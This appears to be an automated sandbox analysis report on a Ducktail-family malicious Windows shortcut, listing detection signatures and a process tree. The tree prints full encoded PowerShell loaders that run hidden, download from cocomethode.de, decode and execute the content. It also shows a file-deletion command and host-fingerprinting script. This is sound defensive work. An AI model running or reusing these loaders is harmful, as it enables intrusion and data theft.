Edit tour

Windows Analysis Report
rRtGI3L0ca.lnk

Overview

General Information

Sample name:	rRtGI3L0ca.lnk
Analysis ID:	1573009
MD5:	30b26aa2e3f3637b2170e45e772b8dad
SHA1:	f753dfb8a8091f53c26e61d1ef5f6d3249dc0953
SHA256:	b241f6ab90c2f509dcbf456ea323924b9739249d9627389934f6210e3bd5452d
Infos:

Detection

Ducktail

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Ducktail

Yara detected Powershell download and execute

Allows multiple concurrent remote connection

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies security policies related information

Potential dropper URLs found in powershell memory

PowerShell case anomaly found

Powershell drops PE file

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: PowerShell Base64 Encoded WMI Classes

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious New Service Creation

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Uses regedit.exe to modify the Windows registry

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file contains strange resources

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64native

cmd.exe (PID: 8584 cmdline: "C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 8660 cmdline: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA==" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8860 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

csc.exe (PID: 9180 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 9200 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1398.tmp" "c:\Users\user\AppData\Local\Temp\cmtdzwyg\CSC242A5CAAB1D0469F832A574E762FFEC7.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 8 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

WINWORD.EXE (PID: 1876 cmdline: "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o "" MD5: E7F3B8EA1B06F46176FC5C35307727D6)

cmd.exe (PID: 8480 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 6008 cmdline: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sppsvc.exe (PID: 8608 cmdline: C:\Windows\system32\sppsvc.exe MD5: 30C7EF47B57367CC546173BB4BB2BB04)

svchost.exe (PID: 2672 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: F586835082F632DC8D9404D83BC16316)

svczHost.exe (PID: 9472 cmdline: C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de MD5: 9298A0077E8353244A38CAEFE43AF4CB)

conhost.exe (PID: 9488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 9548 cmdline: "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 9628 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 9724 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

powershell.exe (PID: 9636 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBm